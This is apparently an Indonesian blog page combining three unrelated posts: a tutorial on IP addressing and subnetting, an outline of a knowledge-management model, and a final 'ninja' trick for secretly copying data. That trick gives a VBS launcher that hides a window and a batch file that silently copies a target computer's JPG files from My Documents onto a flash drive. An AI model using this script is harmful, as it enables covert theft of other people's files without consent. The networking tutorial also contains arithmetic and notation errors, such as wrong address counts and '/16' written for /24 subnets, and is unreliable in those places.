Rabu, 09 September 2009

IP Address


Dalam mendesain sebuah jaringan komputer yang terhubung ke internet, kita perlu menentukan IP address untuk tiap komputer dalam jaringan tersebut. Penentuan IP address ini termasuk bagian terpenting dalam pengambilan keputusan desain. Hal ini disebabkan oleh IP address (yang terdiri atas bilangan 32-bit ini) akan ditempatkan dalam header setiap paket data yang dikirim oleh komputer ke komputer lain,serta akan digunakan untuk menentukan rute yang harus dilalui oleh oleh paket data. Disamping itu sebuah sistem komunikasi dikatakan mendukung layanan komunikasi universal jika setiap komputer dapat berkomunikasi dengan setiap komputer yang lain. Untuk membuat sistem komunikasi kita universal, kita menerapkan metode pengalamatan komputer yang telah diterima diseluruh dunia.

Dengan menetukan IP address, kita melakukan pemberian identitas yang universal bagi setiap interface komputer. Setiap komputer yang tersambung ke internet setidaknya harus memiliki sebuah IP address pada setiap interfacenya, misal ada sebuah card Ethernet dan sebuah interface serial.. Maka kita harus memberi dua IP address kepda komputer tersebut masing-masing untuk setiap interfacenya. Jadi, sebuah IP address sesungguhnya tidak merujuk ke sebuah komputer, tetapi ke sebuah interface.
Konsep dasar pengalamatan di internet ialah awalan (prefix) pada IP address dapat digunakan sebagai dasar pengambilan ke[pusan dalam pemilihan rute paket data ke alamat tujuan. Misalnya, 16 bit pertama menandakan jaringan PT Jaya, 20 bit pertama menandakan jaringan pada kantor Administrasi perusahaan yang sama, 26 bit pertama menandakan segmen jaringan Ethernet pada kantor tersebut, dan keseluruhan 32 bit menandakan interface komputer tertentu pada jaringan Ethernet tersebut.

Dengan demikian, kesalahan dalam mendesain dapat menyebabkan sebuah komputer dapat dicapai oleh sebuah IP address, tetapi tidak dapat dicapai oleh IP address yang lain. Jalan keluar yang paling sederhana adalah dengan memilih interface yang paling bagus dan mengumumkan IP addressnya sebagai IP address primer komputer tersebut.

Format IP address

1. Bentuk biner
IP address merupakan bilangan biner 32 bit yang dipisahkan oleh tanda pemisah berupa tanda titik setiap 8 bitnya. Tiap 8 bit ini disebut sebagai oktet. Bentuk IP address adalah sebagai berikut.
xxxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
Setiap simbol “x” dapat digantikan oleh angka 0 dan I, misalnya sebagai berikut :
10000100.1011100.1111001.00000001

2. Bentuk dotted decinal
Notasi IP address dengan bilangan biner seperti diatas tidaklah mudah dibaca. Untuk membuatnya lebih mudah dibaca dan ditulis, IP address sering ditulis sebagai 4 bilangan desimal yang masing-masing dipisahkan oleh sebuah titik. Format penulisan seperti ini disebut “ dotted-decimal notation” (notasi desimal bertitik). Setiap bilangan desimal tersebut merupakan nilai dari satu oktet (delapan bit) IP address. Gambar berikut memperlihatkan bagaimana sebuah IP address yang ditulis dengan notasi dotted-decimal:

3. Kelas IP address dan Artinya
Jika dilihat dari bentuknya, IP address terdiri atas 4 buah bilangan biner 8 bit. Nilai terbesar dari bilangan biner 8 bit ialah 255 (=27+26+25+24+23+22+2+1). Karena IP address terdiri atas 4 buah bilangan 8 bit, maka jumlah Ip addresss yang tersedia ialah 255x255x255x255. IP address sebanyak ini harus dibagi bagikan ke seluruh pengguna jaringan inmternet di seluruh dunia. Untuk mempermudah prtoses pembagiannya, IP address dikelompokkan dalam kelas-kelas. Dasar pertimbangan pembagian IP address ke dalam kelas-kelas adalah untuk memudahkan pendistribusian pendaftaran IP address. Dengan memberikan sebuah ruang nomor jaringan (beberapa blok IP address) kepada ISP (Internet service Provider) di suatu area diasumsikan penanganan komunitas lokal tersebut akan lebih baik, dibandingkan dengan jika setiap pemakai individual harus meminta IP address ke otoritas pusat, yaitu Internet Assigned Numbers Authority (IANA).

IP address ini dikelompokkan dalam lima kelas: KelasA, KelasB, KelasC, KelasD, dan kelasE. Perbedaan pada tiap kelas tersebut adalah pada ukuran dan jumlahnya. IP Kelas A dipakai oleh sedikit jaringan namun jaringan ini memiliki anggota yang besar. KelasC dipakai oleh banyak jaringan, namun anggota masing-masing jaringan sedikit. Kelas D dan E juga didefinisikan, tetapi tidak digunakan dalam penggunaan normal. Kelas D diperuntukkan bagi jaringan musticast, dan kelas E untuk keperluan eksperimental.

Network ID dan host ID
Pembagian kelas-kelas IP address didasarkan pada dua hal: network ID dan host ID dari suatu IP address.
Setap IP address selalu merupakan sebuah pasangan dari network-ID (identitas jaringan) dan host-ID (identitas host dalam jaringan tersebut). Network-ID ialah bagian dari IP address yang digunakan untuk menunjukkan jaringan tempat komputer ini berada. Sedangkan host-ID ialah bagian dari IP address yang digunakan untuk menunjukkan workstation, server, router, dan semua host TCP/IP lainnya dalam jaringan tersebut. Dalam satu jaringan, host-ID ini harus unik(tidak boleh ada yang sama).
Sedangkan dari sisi praktisnya, setiap IP address harus memiliki salah satu bentuk dari ketiga bentuk pertama pada Gambar :
IP address kelas E tidak digunakan untuk umum. 4 bit pertama IP address ini de set 1111.
Selain network ID, istilah lain yang digunakan untuk menyebut bagian IP address yang menunjukkan jaringan ialah Network Prifix. Biasanya dalam menuliskan network prefix suatu kelas IP address digunakan tanda garis miring (slash) “I” yang diikuti dengan angka yang menunjukkan panjang network prefix dalam bit.
Misalnya, ketika menuliskan network Kelas A denganalokasi IP 12.xxx.xxx.xxx, network prefixnya dituliskan sebagai: 12/8. Angka delapan menunjukkan jumlah bit yang digunakan oleh network prefix.
Untuk menunjuk satu network kelas B 167.205.xxx.xxx, digunakan: 167.205/16. Angka 16 merupakan panjang bit untuk network prefix pada IP address kelas B.

4. Pengalokasian IP Address
Pengalokasian IP address pada dasarnya ialah proses memilih network ID dan host ID yang tepat untuk suatu jaringan. Tepat atau tidaknya konfigurasi ini tergantung dari tujuan yang hendak dicapai, yaitu mengalokasikan IP address seefisien mungkin.

5. Aturan dasar pemilihan network ID dan host ID
Terdapat beberapa aturan dasar dalam menentukan network ID dan host ID yang hendak digunakan. Aturan tersebut ialah :

Network ID tidak boleh sama dengan 127
Network ID 127 tidak dapat digunakan karena ia secara default digunakan untuk keperluan loopback. Loopback ialah IP address yang digunakan komputer untuk menunjuk dirinya sendiri.
Network ID dan host ID tidak boleh sama dengan 255 (seluruh bit di set 1)
Seluruh bit dari network ID dan host ID tidak boleh semunya di set 1. Jika hal ini dilakukan, network ID atau host ID tersebut akan diartikan sebagai alamat broadcast. ID broadcast merupakan alamat yang mewakili seluruh anggota jaringan. Pengiriman paket ke alamat broadcast akan menyebabkan paket ini didengarkan oleh seluruh anggotanetwork tersebut.

Network ID dan host ID tidak boleh 0 (nol)
Network ID dan host ID tidak boleh semua bitnya 0 (nol). IP address dengan host ID 0 diartikan sebagai alamat network. Alamat network ialah alamat yang digunakan untuk menunjuk suatu jaringan, dan tidak menunjukkan suatu host.

Host ID harus unik dalam satu network
Dalam satu network, tidak boleh ada dua host yang memiliki host ID yang sama.

Contoh 1 : Pengalokasian IP Address
Asumsikan kita diberi hak mengelola 3 IP address kelas C 202.46.1.xxx, 202.46.2.xxx dan 202.46.3.xxx. Sedangkan jaringan yang kita miliki ialah sebagai berikut:

6. Menentukan network ID
Network ID digunakan untuk menunjukkan host TCP/IP yang terletak pada network yang sama. Semua host pada satu jaringan harus memiliki network ID yang sama. Jika antara network dihubungkan oleh roter, network ID tambahan dibutuhkan untuk hubungan antar router tersebut.
Pada gambar , terdapat tiga jaringan, yaitu jaringan A,B dan C. Jarinagan C merupakan penghubung antar jaringan A dan B. Masing- masing jaringan ini diberi network ID 202.46.1.xxx, 202.46.2.xxx, dan 202.46.3.xxx

7. Menetukan host ID
Host ID digunakan untuk mengidentifikasi suatu host dalam jaringan. Setiap interface harus memiliki host ID yang unik.
Untuk masing-masing kelas IP address, didefinisikan host ID sebagai berikut




Daftar host ID
Kelas IP Address Awal Akhir
A xxx.0.0.1 xxx.255.255.254
B xxx.xxx.0.1 xxx.xxx.255.254
C xxx.xxx.xxx.1 xxx.xxx.xxx.254

Tabel di atas menunjukkan host ID awal untuk IP address kelas A adalah 0.0.1 dan bukan 0.0.0. Host ID 0.0.0 ini digunakan untuk keperluan alamat network. Sebagai contoh, IP address 12.0.0.0 tidaklah menunjukkan host 0.0.0 pada jaringan 12, namun menunjukkan network 12/8 itu sendiri. Dengan kata lain, IP 12.0.0.0 digunakan sebagai alamat network.
Pada tabel diatas juga ditunjukkan bahwa host ID terakhir pada suatu network kelas C ialah 254. Host ID 255 digunakan sebagai alamat broadcast. Jika suatu paket IP dikirimkan ke alamat ini, seluruh host dalam satu jaringan akan mendengarkan paket tersebut.

Berdasarkan daftar diatas pula, untuk kelas C, host ID yang boleh dialokasikan adalah 1 hingga 254. Oleh karenanya masing-masing anggota jaringan kelas C pada gambar diatas diharuskan memilih salah satu dari 254 host ID di atas. Hasilnya terlihat pada gambar berikut.

a. Subnetting
Setiap organisasi yang terhubung ke Internet memperoleh sebuah network ID dari internic (http://www.internic.net). Network ID ini memiliki ukuran bermacam-macam, mulai dari kelas A, B, hingga kelas C.
Network ID dengan dengan ukuran tertentu ini jarang sekali langsung digunakan untuk membentuk satu jaringan. Biasanya sebuah organisasi memiliki lebih dari satu jaringan/LAN, yang masing-masing jumlah hostnya tidak sebesar jumlah maksimal host yang disediakan oleh satu kelas IP address.
Ada beberapa alasan yang menyebabkan sebuah organisasi memerlukan lebih dari satu LAN agar dapat mencakup seluruh organisasi, yaitu:
Teknologi yang berbeda: khususnya dalam sebuah lingkungan riset, yang tewrdapat beberapa LAN karena terdapat peralatan yang harus didukung oleh Ethernet, dan yang lain oleh jaringan token-ring.
• Keterbatasan teknologi: sebagian besar teknologi LAN memiliki batas kemampuan berdasarkan pada parameter elektrikal, jumlah host yang terhubung, dan panjang total dari kabel. Batas ini paling sering dicapai oleh faktor panjang kabel.
• Kongesti pada jarinagn : Sebuah LAN dengan 254 Host misalnya akan memiliki performasi yang kurang baik, dibandingkan dengan LAN berukuran kecil, jika teknologi yang digunakan ialah ethernet. Sekian banyak host yang menggunakan satu media bersama-sama untuk berbicara satu dengan lainnya akan membuat kesempatan akses masing-masing host terhadap jaringan menjadi kecil. Selain itu dalam sebuah LAN mungkin terdapat beberapa host yang memonopoli penggunaan bandwidth. Jalan keluar yang paling umum adalah memisahkannya kedalam sebuah kelompok kecil dan menempatkannya pada kabel yang terpisah.
Hubungan point-to-point: karena jauhnya dua dua lokasi sebuah kampus, maka diperlukan teknologi LAN tertentu yang dapat mencakup “lokal area” ini. Biasanya digunakanlah hubungan point-to-point berkecepatan tinggi untuk menghubungkan beberapa LAN tersebut.
Karena alasan alasan di atas, network ID yang dimiliki oleh suatu organisasi dipecah lagi menjadi beberapa network ID lain dengan jumlah anggota jaringan yang lebih kecil. Teknik ini dinamakan subnetting dan jaringannya dinamakan subnet (subnetwork)

b. Subnetmask
Subnetmask ialah angka biner 32 bit yang digunakan untuk:
• Membedakan network ID dan host ID
• Menunjukkan letak suatu host, apakah berada di jaringan lokal atau jaringan luar.

Tabel subnet mask untuk tiap kelas IP address

Kelas A 11111111 . 00000000 . 00000000 . 00000000 255.0.0.0
Kelas B 11111111 . 11111111 . 00000000 . 00000000 255.255.0.0
Kelas C 11111111 . 11111111 . 11111111 . 00000000 255.255.255.0

Pada subnet mask, seluruh bit yang berhubungan dengan network ID di set 1. Sedangkan bit yang berhubungan dengan host-ID di set 0. IP address kelas A misalnya, secara default memiliki subnet mask 255.0.0.0 yang menunjukkan batas antara network-ID dan host-ID IP address kelas A
Subnet mask juga digunakan untuk menentukan letak suatu host, apakah di jarinagan lokal, atau di jaringan luar. Hal ini diperlukan untuk operasi pengiriman paket IP. Dengan melakukan opearasi AND antara subnet mask dengan IP address asal dan IP address tujuan, serta membandingkan hasilnya, dapat diketahuai arah tujuan paket IP tersebut. Jika kedua hasil operasi tersebut sama, maka host tujuan terletak di jaringan lokal, dan paket IP dikirim langsung ke host tujuan. Jika hasilnya berbeda, host tujuan terletak di luar jaringan lokal, sehingga paketpun dikirim ke default router.

Dalam subnetting, proses yang dilakukan ialah memakai sebagian bit host ID untuk membentuk subnet-ID. Dengan demikian jumlah bit yang digunakan untuk host-ID menjadi lebih sedikit. Semakin panjang subnet-ID, jumlah subnet yang dapat dibentuk semakin banyak, namun jumlah dalam tiap subnet menjadi semakin sedikit. Hal ini ditunjukkan pada gambar berikut

Network-ID Host-ID



Network-ID Subnet-ID Host-ID

Extended. Network. prefix

Gambar Subnet-ID

Dengan adanya subnet-ID ini, network prefix tidak lagi sama dengan network ID.Net prefix yang baru ialah network ID ditambah subnet-ID. Untuk membedakannya dengan network prefix lama, digunakan istilah extended network prefix.
Sebagai contoh, IP address kelas B 132.92.121.1 secara default memiliki subnet mask 255.255.0.0. Dengan subnet mask ini, IP address di atas berarti host nomor 121.1 pada network 132.92/16.
Jika alokasi kelas B 132.92.xxx.xxx ini ingin dibagi-bagi untuk digunakan pada jaringan jaringan kecil, subnet mask yang digunakan harus diubah.
Misalnya kita ingin membagi alokasi kelas B di atas menjadi jaringan kecil kelas C (254 host ID). Cara menentukan subnet masknya ialah
• Mengubah jumlah network yang dibutuhkan menjadi bilangan biner. Satu network kelas B dapat diubah menjadi 255 network kelas c. Angka 255 jika direpresentasikan dalam biner ialah 11111111.
• Menghitung jumlah bit yang dibutuhkan untuk merepresentasikan angka tersebut. Untuk merepresentasikan angka 255 dalam biner dibutuhkan 8 bit. Bit sebanyak inilah yang dibutuhkan oleh subnet-ID. Jumlah bit host ID sekarang ialah jumlah bit host ID yang lama dikurangi bit yang diperlukan untuk subnet-ID. Jika dulunya IP kelas B memakai 16 bit untuk host-ID, sekarang hanya tersisa 8 bit saja.
• Mengisi subnet-ID ini dengan bit 1. Sehinggga subnet mask yang baru yaitu:
11111111 . 11111111 . 11111111 . 00000000

132.92.121.1 10000100 01011100 01111001 00000011
255.255.255.0 10000100 11111111 11111111 00000000
AND

132.92.121.0 10000100 01011100 01111001 00000000

Net ID Subnet ID Host ID

Dengan adanya subnet mask baru ini, IP address 132.92.121.1 dibaca sebagai
Network ID = 132.92.121
Host ID = 1
Dengan kata lain, 132.92.121.1 ialah host nomor 1, pada jaringan 132.92.121/24.
Berkat subnet mask baru ini pula, satu jaringan kelas B ini akhirnya menjadi 256 jaringan baru: 132.92.0.xxx, 132.92.1.xxx, 132.92.2.xxx, hingga 132.92.255.xxx (biasa dituliskan sebagai 132.92.0/16, 132.92.1/16, 132.92.2/16 dan seterusnya).
Dengan teknik diatas, Anda mengalokasikan IP address kelas B menjadi sekian banyak network yang berukuran sama.
Untuk memperjelas hal diatas, berikut ini diberikan beberapa contoh IP address beserta subnet mask dan artinya.
Beberapa contoh subnet mask dan artinya

IP Subnet Mask Network Broadcast Interpretasi
Address Address Address
44.132.1.20 255.255.0.0 44.132.0.0 44.132.255.255 Host 1.20 pada
16 bit (kelas A) Subnet
44.132.1.0
44.132.1.20 255.255.255.0 44.132.1.0 44.132.1.255 Host 20 pada
(24 bit) (kelas A) Subnet
44.132.1.0
Host 3 pada

81.150.2.3 255.255.255.0 81.150.2.0 81.50.2.255 Subnet
(24 bit) (kelas A) 81.150.2.0

Aplikasi TI dalam KBO

Aplikasi TI dalam KBO, Organizational Values dalam KBO - Deskripsi Model KBO

kbo

Model Knowledge-Based Organization

I.Blok. Strategi Knowledge Management dan Implementasinya

Jadi tujuan strategi knowledge management adalah meningkatkan efesiensi disegala lini operasional, serta kemudahan utnuk menjadi organisasi pembelajar, dengan intensitas inovasi yang tinggi serta kecepatan respon terhadap pasar. Perlu perubahan budaya organisasi yang didesain dalam suatu strategi yang sesuai dengan adanya perubahan perilaku dan praktek kerja pada bagian yang sangat strategis untuk mengambil peran insiatif pengetahuan di organisasi dengan melakukan beberapa tahapan yaitu:

(1) Vision. Mengembangkan dan menyebarkan visi dan strategi perusahaan/organisasi yang berbasis pengetahuan. Pengetahuan yang akan diungkit sebagai penggerak perusahaan/organisasi yang berbasis pengetahuan harus dinyatakan secara jelas dalam VISI ORGANISASI nya dan diketahui oleh semua jajaran di perusahaan/organisasinya, serta diimplementasikan oleh seluruh jajaran organisasi berdasarkan bidang/bagiannya masing-masing.

(2). Strategi Knowledge untuk mendorong dan mengungkit pengetahuan di organisasi dengan berbagai cara yaitu: adanya jaringan pengetahuan untuk mendukung organisasi, pengembangan modal intelektual, Sumber Daya Manusia berkualitas sebagai asset intangible di organisasi, pengorganisasian pengetahuan secara individu, kelompok dan tingkat organisasi, dsb. Dimana inti dari strategi knowledge adalah untuk meningkatkan performa bisnis.

(3). Knowledge acquisition. Menentukan kompetensi inti perusahaan sebagai aset pengetahuan di organisasi, kemudian pengadaan pengetahuan dari dalam dan luar organisasi.

(4). Knowledge creation. Desain, struktur dan hubungan antar unit di organisasi yang didorong oleh pengetahuan agar terjadi proses kreasi secaraindividu atau kolektif. Proses penciptaan dan mengelola strategi sumber daya manusia berbasiskan pengetahuan.

(5). Knowledge development. Mengembangkan dan memperkuat manajemen organisasi yang dapat meningkatkan pengadaan, berbagi dan aplikasi pengetahuan untuk nilai kreasi di organisasi. Memberikan bantuan dana atau non-dana dari organisasi untuk mengelola pengembangan pengetahuan. Mengembangkan dan memberikan bantuan dari organisasi untuk strategi dan pendekatan pengetahuan.

(6). Knowledge sharing. Mengubah tacit individuke pengetahuan explicit untuk organisasi. Mekanisme penciptaan pengetahuan secara sistematis untuk pertukaran pengetahuan secara internal dan eksternal yang ada serta pengalaman yang menonjol. Memberikan kemudahan suatu platform/landasan teknologi informasi untuk berbagi pengetahuan. Kejelian dalam mengidentifikasi dan akses pada tenaga ahli di dalam atau luar organisasi.

(7). Knowledge Measurement. Mengukur nilai penciptaan dari kreasi pengetahuan dan inovasi di suatu organisasi.

(8). Knowledge representation. Meningkatkan dan memperluas keterwakilannya organisasi yang berwawasan dan berbasiskan pengetahuan.

II. Blok . Knowledge Management Activities

(1). Chief Knowledge Officer (CKO) adalah jabatan senior knowledge executive di beberapa perusahaan di Eropa dan Amerika yang telah menerapkan knowledge management. Biasanya memiliki pengalaman yang mendalam mengenai berbagai aspek knowledge management dan teknologi informasi.

(2). Kluster knowledge asset (core competency) dengan simbol kotak, dipengaruhi oleh beberapa hal seperti:

- Budaya

Terminologi “budaya” juga perlu didefinisikan agar lebih kena. Seperti konsep pengetahuan, peneliti2 telah menetapkan “budaya organisasi” dalam berbagai cara. Meskipun tidak ada suatu ketetapan yang pasti tentang apa itu budaya ? hanya beberapa konsensus untuk menjelaskan budaya organisasi adalah nilai2, norma2 dan prakteknya.

- Nilai-nilai mengindikasikan sebagian anggota organisasi percaya bahwa ada nilai2 di suatu organisasi. Mereka menunjukkan acuan untuk sesuatu yang lebih spesifik pada outcome atau tingkah lakunya, atau keinginan organisasi yang ingin dicapai. Penting untuk dibedakan nilai2 yang luar biasa, yang mana dibicarakan tetapi jangan mempengaruhi perilakunya dari nilai-nilai tertentu yang ada adalah memotivasi perilaku di suatu organisasi.

- Norma-norma adalah suatu upaya untuk membagi kepercayaan mengenai bagaimana orang di suatu organisasi harus berperilaku atau apa yang harus diperbuat untuk memenuhi kepuasan kerjanya. Norma mewakili pola harapan dari suatu perilaku. Sebagai contoh: mereka menguraikan bagaimana pekerja-pekerja menunjukkan cara untuk penciptaaan, membagi dan penggunaan pengetahuan pada bidang pekerjaannya.

- Praktek adalah suatu pekerjaan yang secara rutin baik secara formal dan informal pada suatu organisasi untuk memenuhi pekerjaannya. Praktek tersebut juga termasuk proses implementasi proyek2 tertentu, pertemuan tim, lembar waktu, bagan karir, rencana kompensasi yang selalu dibicarakan pada setiap hari Jumat sore. Setiap kerjaan rutin baik yang formal dan informal masing2 mempunyai aturan2 yang spesifik dalam menjalankan kegiatan rutin tersebut.

Budaya yang ada juga berbeda tingkatannya dalam suatu organisasi. Nilai2 budaya yang sudah tertanam secara mendalam, asumsi tacit adalah sesuatu yang sulit dibicarakan dan juga lebih sulit untuk diubah. Norma dan praktek dilain pihak, sangat mudah diamati dan juga mudah untuk identifikasi dari karyawan. Jadi norma dan praktekldiseputar penggunaan pengetahuan adalah agak lebih mudah untuk diubah. Pada kenyataannya praktek kerja lebih mudah dikenali sebagai simbol dari suatu budaya dan mereka memberikan lebih langsung ke tingkat perubahan perilaku yang butuh didukung oleh tujuan KM. Perubahan perilaku disekitar penggunaan pengetahuan adalah suatu cara langsung untuk masuk ke-norma2 organisasi, yang mana akan diperkuat lagi dengan kebutuhan perilaku setiap waktu.

Dilain pihak, nilai2 seyogyanya tidak difokuskan untuk upaya perubahan, sejak mereka sudah terlalu dalam kedudukannya, misalnya tacit adalah sangat sulit untuk di transfer, kecuali jika CEO (pimpinan puncak) dan senior2 manajer lain di organisasi secara perorangan mendorong implementasi strategi KM, percaya secara kuat butuh perubahan yang sangat mendasar pengetahuan yang berkaitan dengan nilai2 dari suatu perusahaan dan juga dikehendaki butuh keteladanan dalam jangka waktu panjang untuk merubah budaya proyek (butuh waktu antar 3 sampai 10 tahun an).

Perilaku yang baru mengakibatkan adanya bentuk baru dalam praktek kerja yang akan merubah norma2 setiap waktu, dan juga akan memberikan dukungan secara jangka panjang untuk lebih mengefektifkan penggunaan pengetahaun. Nilai yang pernah ada pada saat ini dan dengan suatu kekuatan untuk membentuk perilaku, tetapi mereka selalu terlalu kompleks untuk diubah secara langsung. Sering gejala kedepan dalam suatu peranan budaya bagian2 dari budaya dapat dimainkan untuk menjadi perilaku organisasi. Bagian budaya yang berisi perbedaan kepercayaan, norma2 dan praktek kerja yang diperlihatkan oleh sekelompok yang lebih spesifik dalam suatu organisasi contohnya litbang, penjualan, engenering, MIS. Bagian budaya mempunyai karakteristik yang dapat membedakan mereka dari budaya secara menyeluruh dari suatu perusahaan sama halnya denagn bagian budaya yang lain.

- nilai2/norma2: mengembangkan dan mengelola organisasi berdasarkan nilai-nilai pengetahuan.

- perilaku: mengembangkan dan mengelola organisasi berdasarkan perilaku pengetahuan.

Pengetahuan yang berorientasi pada perilaku

Pembagian dan pembelajaran. Norma2 dan praktek kerja juga mendukung berbagai perilaku yang akan mempengaruhi kualitas interaksi dan proses penciptaan, pembagian pengetahuan dan penggunaan pengetahuan. Budaya secara eksplisit sangat mempengaruhi dalam berbagi pengetahuan akan melebihi pengadaan pengetahuan, karena berbagi pengetahuan akan menciptakan kontek interaksi yang lebih menguntungkan adalah mengungkit pengetahuan. Pembelajaran adalah perilaku lain yang sangat mempengaruhi dalam kontak sosial, jika sebagai perusahaan yang berbasis pengetahuan.

- system mengembangkan dan mengelola sistem pengetahuan dan prosesnya di organisasi.

- proses mengembangkan dan mengelola sistem pengetahuan dan prosesnya diorganisasi.

KM activities:

1. transfer/sharing

- collaboration
- learning by doing
- coaching
- mentoring
memindahkan pengetahuan tacit dari individu ke pengetahuan eksplisit bagi organisasi.
mengembangkan komunitas praktis.
belajar sambil bekerja, pelatihan dan penyuluhan.

- learning organization
mengembangkan organisasi yang berbasis pengetahuan dengan strategi pembelajaran.
mengembangkan kolaborasi atau kemitraan untuk mempercepat proses pembelajaran.
mengembangkan dan/atau mendapatkan suatu metodologi pembelajaran, peralatannya dan teknik-tekniknya.

2. capturing
mengembangkan dan mengelola menangkap pengetahuan.

3.katagorisasi mengembangkan dan mengkatagorisasikan pengetahuan.

4.use mengembangkan dan menangkap, menggunakan pengetahuan.

5. mapping
pemetaan sumber-sumber pengetahuan di seluruh jajaran organisasi.

Kegiatan pendukung lain adalah

- development
mengembangkan dan menyebarkan suatu perusahaan yang berdasarkan kreasi pengetahuan dan strategi inovasi.
mengembangkan dan menyebarkan gaya manajemen organisasi yang dapat mendorong pengadaan, berbagi dan aplikasi pengetahuan untuk nilai kreasi di organisasi.

- training
mengembangkan dan melatih pimpinan yang berwawasan dan berpengetahuan luas.

- recognition
menghargai dan memberikan hadiah bagi pimpinan knowledge/pengetahuan.

- reward
menghargai dan memberikan hadiah bagi pimpinan knowledge/pengetahuan.

- review and refinements ?
memberikan pandangan dan menghargai pengetahuan sebagai basisnya.

Kegiatan Jaringan

- knowledge worker pekerja yang berbasiskan pengetahuan

- COPs
mengembangkan komunitas praktis di organisasi.

- Networks
jejaring dan komunitas praktis perlu didorong di organisasi.

Supporting System (ICT infrastructure)

III. Blok Knowledge Management Outputs

(1). Product
Mengelola produksi barang atau pelayanan yang berdasarkan pengetahuan.

(2). Services
Mengelola produksi barang atau pelayanan yang berdasarkan pengetahuan.

(3). Customer feed back
Melibatkan pemakai dan penyuplai dalam pengembangan barang-barang dan pelayanan berdasarkan pengetahuan.

- value chains mengukur perubahan-perubahan mata rantai nilai pelanggan.
- memetakan dan mengembangkan rantai nilai.
- profiles and maaps menciptakan dan mengelola nilai profil pelanggan dan maaps ???)

(4). General feed back for improvement on KM strategy and implementation.

cara ninja copy data ke fd


Trik Copy Data Ke Flash Disk Secara Diam-diam

1.Buka notepad, buat file vbs ketik atau copy paste script berikut:

dim wshshell, dos
set wshshell = wscript.createobject("wscript.shell")
dos = wshshell.expandenvironmentstrings("%comspec%")
wshshell.run (dos & " /c tarik.bat"), vbhide

2.Simpan dengan file name nya contoh start.vbs save as typenya pilih all files

3.Buka notepad lagi, buat file bat ketik atau copy paste script berikut:

@echo off
mkdir %computername%
xcopy "C:\Documents and Settings\%username%\My Documents\*.jpg" %computername% /s/c/q/r
@cls
@exit

4.Simpan dengan file name nya contoh tarik.bat save as typenya pilih all files.
Nama file bat ini harus sesuai dengan script file vbs baris ke empat (tarik.bat)

Simpan kedua file tersebut didalam flash disk, Untuk copy file komputer target secara diam-diam jalankan (2x klik) file start.vbs.

Fungsi file vbs (start.vbs) berfungsi untuk menjalankan file bat (tarik.bat) secara diam-diam atau istilahnya background proses. Sedangkan file bat (tarik.bat) berfungsi untuk menjalankan perintah copy semua file dengan ektensi tertentu yang ada dikomputer target.

Contoh tersebuat diatas adalah copy semua file yang berektensi jpg (file gambar) yang ada di folder MyDocuments di komputer target (lihat baris ketiga script file bat) Dan disimpan kedalam flash disk ke dalam folder dengan nama sesuai nama komputer target. anda bisa meng edit sendiri kedua file tsb diatas sesuai keperluan format file dan folder target yg akan di copy.